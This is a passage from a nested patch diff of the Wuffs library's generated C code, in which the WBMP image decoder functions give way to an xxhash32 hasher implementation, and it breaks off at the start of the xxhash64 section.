uint64_t))(&wuffs_wbmp__decoder__restart_frame), ++ uint32_t))(&wuffs_xxhash32__hasher__get_quirk), + (wuffs_base__status(*)(void*, + uint32_t, +- uint64_t))(&wuffs_wbmp__decoder__set_quirk), ++ uint64_t))(&wuffs_xxhash32__hasher__set_quirk), + (wuffs_base__empty_struct(*)(void*, +- uint32_t, +- bool))(&wuffs_wbmp__decoder__set_report_metadata), +- (wuffs_base__status(*)(void*, +- wuffs_base__io_buffer*, +- wuffs_base__more_information*, +- wuffs_base__io_buffer*))(&wuffs_wbmp__decoder__tell_me_more), +- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_wbmp__decoder__workbuf_len), ++ wuffs_base__slice_u8))(&wuffs_xxhash32__hasher__update), ++ (uint32_t(*)(void*, ++ wuffs_base__slice_u8))(&wuffs_xxhash32__hasher__update_u32), + }; + + // ---------------- Initializer Implementations + + wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_wbmp__decoder__initialize( +- wuffs_wbmp__decoder* self, ++wuffs_xxhash32__hasher__initialize( ++ wuffs_xxhash32__hasher* self, + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options){ +@@ -60569,22 +75569,22 @@ wuffs_wbmp__decoder__initialize( + } + + self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = +- wuffs_base__image_decoder__vtable_name; +- self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = +- (const void*)(&wuffs_wbmp__decoder__func_ptrs_for__wuffs_base__image_decoder); ++ self->private_impl.vtable_for__wuffs_base__hasher_u32.vtable_name = ++ wuffs_base__hasher_u32__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__hasher_u32.function_pointers = ++ (const void*)(&wuffs_xxhash32__hasher__func_ptrs_for__wuffs_base__hasher_u32); + return wuffs_base__make_status(NULL); + } + +-wuffs_wbmp__decoder* +-wuffs_wbmp__decoder__alloc(void) { +- wuffs_wbmp__decoder* x = +- (wuffs_wbmp__decoder*)(calloc(sizeof(wuffs_wbmp__decoder), 1)); ++wuffs_xxhash32__hasher* ++wuffs_xxhash32__hasher__alloc(void) { ++ wuffs_xxhash32__hasher* x = ++ (wuffs_xxhash32__hasher*)(calloc(1, sizeof(wuffs_xxhash32__hasher))); + if (!x) { + return NULL; + } +- if (wuffs_wbmp__decoder__initialize( +- x, sizeof(wuffs_wbmp__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ if (wuffs_xxhash32__hasher__initialize( ++ x, sizeof(wuffs_xxhash32__hasher), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { + free(x); + return NULL; + } +@@ -60592,18 +75592,18 @@ wuffs_wbmp__decoder__alloc(void) { + } + + size_t +-sizeof__wuffs_wbmp__decoder(void) { +- return sizeof(wuffs_wbmp__decoder); ++sizeof__wuffs_xxhash32__hasher(void) { ++ return sizeof(wuffs_xxhash32__hasher); + } + + // ---------------- Function Implementations + +-// -------- func wbmp.decoder.get_quirk ++// -------- func xxhash32.hasher.get_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_wbmp__decoder__get_quirk( +- const wuffs_wbmp__decoder* self, ++wuffs_xxhash32__hasher__get_quirk( ++ const wuffs_xxhash32__hasher* self, + uint32_t a_key) { + if (!self) { + return 0; +@@ -60616,12 +75616,12 @@ wuffs_wbmp__decoder__get_quirk( + return 0u; + } + +-// -------- func wbmp.decoder.set_quirk ++// -------- func xxhash32.hasher.set_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_wbmp__decoder__set_quirk( +- wuffs_wbmp__decoder* self, ++wuffs_xxhash32__hasher__set_quirk( ++ wuffs_xxhash32__hasher* self, + uint32_t a_key, + uint64_t a_value) { + if (!self) { +@@ -60637,627 +75637,387 @@ wuffs_wbmp__decoder__set_quirk( + return wuffs_base__make_status(wuffs_base__error__unsupported_option); + } + +-// -------- func wbmp.decoder.decode_image_config ++// -------- func xxhash32.hasher.update + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_wbmp__decoder__decode_image_config( +- wuffs_wbmp__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src) { ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_xxhash32__hasher__update( ++ wuffs_xxhash32__hasher* self, ++ wuffs_base__slice_u8 a_x) { + if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ return wuffs_base__make_empty_struct(); + } + if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 1)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- +- uint32_t coro_susp_point = self->private_impl.p_decode_image_config[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_wbmp__decoder__do_decode_image_config(self, a_dst, a_src); +- v_status = t_0; +- } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_wbmp__error__truncated_input); +- goto exit; +- } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- } +- +- ok: +- self->private_impl.p_decode_image_config[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; +- +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_empty_struct(); + } +- return status; +-} +- +-// -------- func wbmp.decoder.do_decode_image_config +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_wbmp__decoder__do_decode_image_config( +- wuffs_wbmp__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint8_t v_c = 0; +- uint32_t v_i = 0; +- uint32_t v_p = 0; +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++ wuffs_base__slice_u8 v_remaining = {0}; + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config[0]; +- if (coro_susp_point) { +- v_i = self->private_data.s_do_decode_image_config[0].v_i; +- v_p = self->private_data.s_do_decode_image_config[0].v_p; ++ if ((self->private_impl.f_length_modulo_u32 == 0u) && ! self->private_impl.f_length_overflows_u32) { ++ self->private_impl.f_v0 = 606290984u; ++ self->private_impl.f_v1 = 2246822519u; ++ self->private_impl.f_v2 = 0u; ++ self->private_impl.f_v3 = 1640531535u; + } +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- if (self->private_impl.f_call_sequence != 0u) { +- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- goto exit; +- } +- v_i = 0u; +- while (v_i < 2u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_0 = *iop_a_src++; +- v_c = t_0; +- } +- if (v_c != 0u) { +- status = wuffs_base__make_status(wuffs_wbmp__error__bad_header); +- goto exit; +- } +- v_i += 1u; +- } +- v_i = 0u; +- while (v_i < 2u) { +- v_p = 0u; +- while (true) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_1 = *iop_a_src++; +- v_c = t_1; +- } +- v_p |= ((uint32_t)((v_c & 127u))); +- if ((v_c >> 7u) == 0u) { +- break; +- } else if (v_p > 131071u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); +- goto exit; +- } +- v_p <<= 7u; +- } +- if (v_i == 0u) { +- self->private_impl.f_width = v_p; +- } else { +- self->private_impl.f_height = v_p; +- } +- v_i += 1u; +- } +- self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); +- if (a_dst != NULL) { +- wuffs_base__image_config__set( +- a_dst, +- 2198077448u, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height, +- self->private_impl.f_frame_config_io_position, +- true); ++ while (((uint64_t)(a_x.len)) > 0u) { ++ v_remaining = wuffs_base__slice_u8__subslice_j(a_x, 0u); ++ if (((uint64_t)(a_x.len)) > 16777216u) { ++ v_remaining = wuffs_base__slice_u8__subslice_i(a_x, 16777216u); ++ a_x = wuffs_base__slice_u8__subslice_j(a_x, 16777216u); + } +- self->private_impl.f_call_sequence = 32u; +- +- goto ok; +- ok: +- self->private_impl.p_do_decode_image_config[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_do_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_do_decode_image_config[0].v_i = v_i; +- self->private_data.s_do_decode_image_config[0].v_p = v_p; +- +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ wuffs_xxhash32__hasher__up(self, a_x); ++ a_x = v_remaining; + } +- +- return status; ++ return wuffs_base__make_empty_struct(); + } + +-// -------- func wbmp.decoder.decode_frame_config ++// -------- func xxhash32.hasher.update_u32 + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_wbmp__decoder__decode_frame_config( +- wuffs_wbmp__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src) { ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_xxhash32__hasher__update_u32( ++ wuffs_xxhash32__hasher* self, ++ wuffs_base__slice_u8 a_x) { + if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ return 0; + } + if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 2)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- +- uint32_t coro_susp_point = self->private_impl.p_decode_frame_config[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_wbmp__decoder__do_decode_frame_config(self, a_dst, a_src); +- v_status = t_0; +- } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_wbmp__error__truncated_input); +- goto exit; +- } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- } +- +- ok: +- self->private_impl.p_decode_frame_config[0] = 0; +- goto exit; ++ return 0; + } + +- goto suspend; +- suspend: +- self->private_impl.p_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; +- +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- } +- return status; ++ wuffs_xxhash32__hasher__update(self, a_x); ++ return wuffs_xxhash32__hasher__checksum_u32(self); + } + +-// -------- func wbmp.decoder.do_decode_frame_config ++// -------- func xxhash32.hasher.up + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_wbmp__decoder__do_decode_frame_config( +- wuffs_wbmp__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } +- +- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++static wuffs_base__empty_struct ++wuffs_xxhash32__hasher__up( ++ wuffs_xxhash32__hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ uint32_t v_new_lmu = 0; ++ uint32_t v_buf_u32 = 0; ++ uint32_t v_buf_len = 0; ++ uint32_t v_v0 = 0; ++ uint32_t v_v1 = 0; ++ uint32_t v_v2 = 0; ++ uint32_t v_v3 = 0; ++ wuffs_base__slice_u8 v_p = {0}; + +- if (self->private_impl.f_call_sequence == 32u) { +- } else if (self->private_impl.f_call_sequence < 32u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_wbmp__decoder__do_decode_image_config(self, NULL, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- } else if (self->private_impl.f_call_sequence == 40u) { +- if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { +- status = wuffs_base__make_status(wuffs_base__error__bad_restart); +- goto exit; +- } +- } else if (self->private_impl.f_call_sequence == 64u) { +- self->private_impl.f_call_sequence = 96u; +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; +- } else { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; ++ v_new_lmu = ((uint32_t)(self->private_impl.f_length_modulo_u32 + ((uint32_t)(((uint64_t)(a_x.len)))))); ++ self->private_impl.f_length_overflows_u32 = ((v_new_lmu < self->private_impl.f_length_modulo_u32) || self->private_impl.f_length_overflows_u32); ++ self->private_impl.f_length_modulo_u32 = v_new_lmu; ++ while (true) { ++ if (self->private_impl.f_buf_len >= 16u) { ++ v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[0u])) | ++ (((uint32_t)(self->private_impl.f_buf_data[1u])) << 8u) | ++ (((uint32_t)(self->private_impl.f_buf_data[2u])) << 16u) | ++ (((uint32_t)(self->private_impl.f_buf_data[3u])) << 24u)); ++ v_v0 = ((uint32_t)(self->private_impl.f_v0 + ((uint32_t)(v_buf_u32 * 2246822519u)))); ++ v_v0 = (((uint32_t)(v_v0 << 13u)) | (v_v0 >> 19u)); ++ self->private_impl.f_v0 = ((uint32_t)(v_v0 * 2654435761u)); ++ v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[4u])) | ++ (((uint32_t)(self->private_impl.f_buf_data[5u])) << 8u) | ++ (((uint32_t)(self->private_impl.f_buf_data[6u])) << 16u) | ++ (((uint32_t)(self->private_impl.f_buf_data[7u])) << 24u)); ++ v_v1 = ((uint32_t)(self->private_impl.f_v1 + ((uint32_t)(v_buf_u32 * 2246822519u)))); ++ v_v1 = (((uint32_t)(v_v1 << 13u)) | (v_v1 >> 19u)); ++ self->private_impl.f_v1 = ((uint32_t)(v_v1 * 2654435761u)); ++ v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[8u])) | ++ (((uint32_t)(self->private_impl.f_buf_data[9u])) << 8u) | ++ (((uint32_t)(self->private_impl.f_buf_data[10u])) << 16u) | ++ (((uint32_t)(self->private_impl.f_buf_data[11u])) << 24u)); ++ v_v2 = ((uint32_t)(self->private_impl.f_v2 + ((uint32_t)(v_buf_u32 * 2246822519u)))); ++ v_v2 = (((uint32_t)(v_v2 << 13u)) | (v_v2 >> 19u)); ++ self->private_impl.f_v2 = ((uint32_t)(v_v2 * 2654435761u)); ++ v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[12u])) | ++ (((uint32_t)(self->private_impl.f_buf_data[13u])) << 8u) | ++ (((uint32_t)(self->private_impl.f_buf_data[14u])) << 16u) | ++ (((uint32_t)(self->private_impl.f_buf_data[15u])) << 24u)); ++ v_v3 = ((uint32_t)(self->private_impl.f_v3 + ((uint32_t)(v_buf_u32 * 2246822519u)))); ++ v_v3 = (((uint32_t)(v_v3 << 13u)) | (v_v3 >> 19u)); ++ self->private_impl.f_v3 = ((uint32_t)(v_v3 * 2654435761u)); ++ self->private_impl.f_buf_len = 0u; ++ break; + } +- if (a_dst != NULL) { +- wuffs_base__frame_config__set( +- a_dst, +- wuffs_base__utility__make_rect_ie_u32( +- 0u, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height), +- ((wuffs_base__flicks)(0u)), +- 0u, +- self->private_impl.f_frame_config_io_position, +- 0u, +- true, +- false, +- 4278190080u); ++ if (((uint64_t)(a_x.len)) <= 0u) { ++ return wuffs_base__make_empty_struct(); + } +- self->private_impl.f_call_sequence = 64u; +- +- ok: +- self->private_impl.p_do_decode_frame_config[0] = 0; +- goto exit; ++ self->private_impl.f_buf_data[self->private_impl.f_buf_len] = a_x.ptr[0u]; ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ self->private_impl.f_buf_len += 1u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); + } +- +- goto suspend; +- suspend: +- self->private_impl.p_do_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ v_buf_len = ((uint32_t)(((uint8_t)(self->private_impl.f_buf_len & 15u)))); ++ v_v0 = self->private_impl.f_v0; ++ v_v1 = self->private_impl.f_v1; ++ v_v2 = self->private_impl.f_v2; ++ v_v3 = self->private_impl.f_v3; ++ { ++ wuffs_base__slice_u8 i_slice_p = a_x; ++ v_p.ptr = i_slice_p.ptr; ++ v_p.len = 16; ++ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 16) * 16)); ++ while (v_p.ptr < i_end0_p) { ++ v_buf_u32 = (((uint32_t)(v_p.ptr[0u])) | ++ (((uint32_t)(v_p.ptr[1u])) << 8u) | ++ (((uint32_t)(v_p.ptr[2u])) << 16u) | ++ (((uint32_t)(v_p.ptr[3u])) << 24u)); ++ v_v0 = ((uint32_t)(v_v0 + ((uint32_t)(v_buf_u32 * 2246822519u)))); ++ v_v0 = (((uint32_t)(v_v0 << 13u)) | (v_v0 >> 19u)); ++ v_v0 = ((uint32_t)(v_v0 * 2654435761u)); ++ v_buf_u32 = (((uint32_t)(v_p.ptr[4u])) | ++ (((uint32_t)(v_p.ptr[5u])) << 8u) | ++ (((uint32_t)(v_p.ptr[6u])) << 16u) | ++ (((uint32_t)(v_p.ptr[7u])) << 24u)); ++ v_v1 = ((uint32_t)(v_v1 + ((uint32_t)(v_buf_u32 * 2246822519u)))); ++ v_v1 = (((uint32_t)(v_v1 << 13u)) | (v_v1 >> 19u)); ++ v_v1 = ((uint32_t)(v_v1 * 2654435761u)); ++ v_buf_u32 = (((uint32_t)(v_p.ptr[8u])) | ++ (((uint32_t)(v_p.ptr[9u])) << 8u) | ++ (((uint32_t)(v_p.ptr[10u])) << 16u) | ++ (((uint32_t)(v_p.ptr[11u])) << 24u)); ++ v_v2 = ((uint32_t)(v_v2 + ((uint32_t)(v_buf_u32 * 2246822519u)))); ++ v_v2 = (((uint32_t)(v_v2 << 13u)) | (v_v2 >> 19u)); ++ v_v2 = ((uint32_t)(v_v2 * 2654435761u)); ++ v_buf_u32 = (((uint32_t)(v_p.ptr[12u])) | ++ (((uint32_t)(v_p.ptr[13u])) << 8u) | ++ (((uint32_t)(v_p.ptr[14u])) << 16u) | ++ (((uint32_t)(v_p.ptr[15u])) << 24u)); ++ v_v3 = ((uint32_t)(v_v3 + ((uint32_t)(v_buf_u32 * 2246822519u)))); ++ v_v3 = (((uint32_t)(v_v3 << 13u)) | (v_v3 >> 19u)); ++ v_v3 = ((uint32_t)(v_v3 * 2654435761u)); ++ v_p.ptr += 16; ++ } ++ v_p.len = 1; ++ const uint8_t* i_end1_p = wuffs_private_impl__ptr_u8_plus_len(i_slice_p.ptr, i_slice_p.len); ++ while (v_p.ptr < i_end1_p) { ++ self->private_impl.f_buf_data[v_buf_len] = v_p.ptr[0u]; ++ v_buf_len = ((v_buf_len + 1u) & 15u); ++ v_p.ptr += 1; ++ } ++ v_p.len = 0; + } +- +- return status; ++ self->private_impl.f_buf_len = ((uint8_t)(v_buf_len)); ++ self->private_impl.f_v0 = v_v0; ++ self->private_impl.f_v1 = v_v1; ++ self->private_impl.f_v2 = v_v2; ++ self->private_impl.f_v3 = v_v3; ++ return wuffs_base__make_empty_struct(); + } + +-// -------- func wbmp.decoder.decode_frame ++// -------- func xxhash32.hasher.checksum_u32 + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_wbmp__decoder__decode_frame( +- wuffs_wbmp__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_xxhash32__hasher__checksum_u32( ++ const wuffs_xxhash32__hasher* self) { + if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ return 0; + } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ uint32_t v_ret = 0; ++ uint32_t v_i = 0; ++ uint32_t v_n = 0; ++ uint32_t v_buf_u32 = 0; ++ ++ if ((self->private_impl.f_length_modulo_u32 >= 16u) || self->private_impl.f_length_overflows_u32) { ++ v_ret += (((uint32_t)(self->private_impl.f_v0 << 1u)) | (self->private_impl.f_v0 >> 31u)); ++ v_ret += (((uint32_t)(self->private_impl.f_v1 << 7u)) | (self->private_impl.f_v1 >> 25u)); ++ v_ret += (((uint32_t)(self->private_impl.f_v2 << 12u)) | (self->private_impl.f_v2 >> 20u)); ++ v_ret += (((uint32_t)(self->private_impl.f_v3 << 18u)) | (self->private_impl.f_v3 >> 14u)); ++ v_ret += self->private_impl.f_length_modulo_u32; ++ } else { ++ v_ret += 374761393u; ++ v_ret += self->private_impl.f_length_modulo_u32; ++ } ++ v_n = 16u; ++ v_n = wuffs_base__u32__min(v_n, ((uint32_t)(self->private_impl.f_buf_len))); ++ if (4u <= v_n) { ++ v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[0u])) | ++ (((uint32_t)(self->private_impl.f_buf_data[1u])) << 8u) | ++ (((uint32_t)(self->private_impl.f_buf_data[2u])) << 16u) | ++ (((uint32_t)(self->private_impl.f_buf_data[3u])) << 24u)); ++ v_ret += ((uint32_t)(v_buf_u32 * 3266489917u)); ++ v_ret = (((uint32_t)(v_ret << 17u)) | (v_ret >> 15u)); ++ v_ret *= 668265263u; ++ v_i = 4u; ++ } ++ if (8u <= v_n) { ++ v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[4u])) | ++ (((uint32_t)(self->private_impl.f_buf_data[5u])) << 8u) | ++ (((uint32_t)(self->private_impl.f_buf_data[6u])) << 16u) | ++ (((uint32_t)(self->private_impl.f_buf_data[7u])) << 24u)); ++ v_ret += ((uint32_t)(v_buf_u32 * 3266489917u)); ++ v_ret = (((uint32_t)(v_ret << 17u)) | (v_ret >> 15u)); ++ v_ret *= 668265263u; ++ v_i = 8u; + } +- if (!a_dst || !a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ if (12u <= v_n) { ++ v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[8u])) | ++ (((uint32_t)(self->private_impl.f_buf_data[9u])) << 8u) | ++ (((uint32_t)(self->private_impl.f_buf_data[10u])) << 16u) | ++ (((uint32_t)(self->private_impl.f_buf_data[11u])) << 24u)); ++ v_ret += ((uint32_t)(v_buf_u32 * 3266489917u)); ++ v_ret = (((uint32_t)(v_ret << 17u)) | (v_ret >> 15u)); ++ v_ret *= 668265263u; ++ v_i = 12u; + } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 3)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ while (v_i < v_n) { ++ v_ret += ((uint32_t)(((uint32_t)(self->private_impl.f_buf_data[v_i])) * 374761393u)); ++ v_ret = (((uint32_t)(v_ret << 11u)) | (v_ret >> 21u)); ++ v_ret *= 2654435761u; ++ v_i += 1u; + } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- +- uint32_t coro_susp_point = self->private_impl.p_decode_frame[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ v_ret ^= (v_ret >> 15u); ++ v_ret *= 2246822519u; ++ v_ret ^= (v_ret >> 13u); ++ v_ret *= 3266489917u; ++ v_ret ^= (v_ret >> 16u); ++ return v_ret; ++} + +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_wbmp__decoder__do_decode_frame(self, +- a_dst, +- a_src, +- a_blend, +- a_workbuf, +- a_opts); +- v_status = t_0; +- } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_wbmp__error__truncated_input); +- goto exit; +- } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- } ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH32) + +- ok: +- self->private_impl.p_decode_frame[0] = 0; +- goto exit; +- } ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH64) + +- goto suspend; +- suspend: +- self->private_impl.p_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; ++// ---------------- Status Codes Implementations + +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- } +- return status; +-} ++// ---------------- Private Consts + +-// -------- func wbmp.decoder.do_decode_frame ++#define WUFFS_XXHASH64__XXH_PRIME64_1 11400714785074694791u + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_wbmp__decoder__do_decode_frame( +- wuffs_wbmp__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++#define 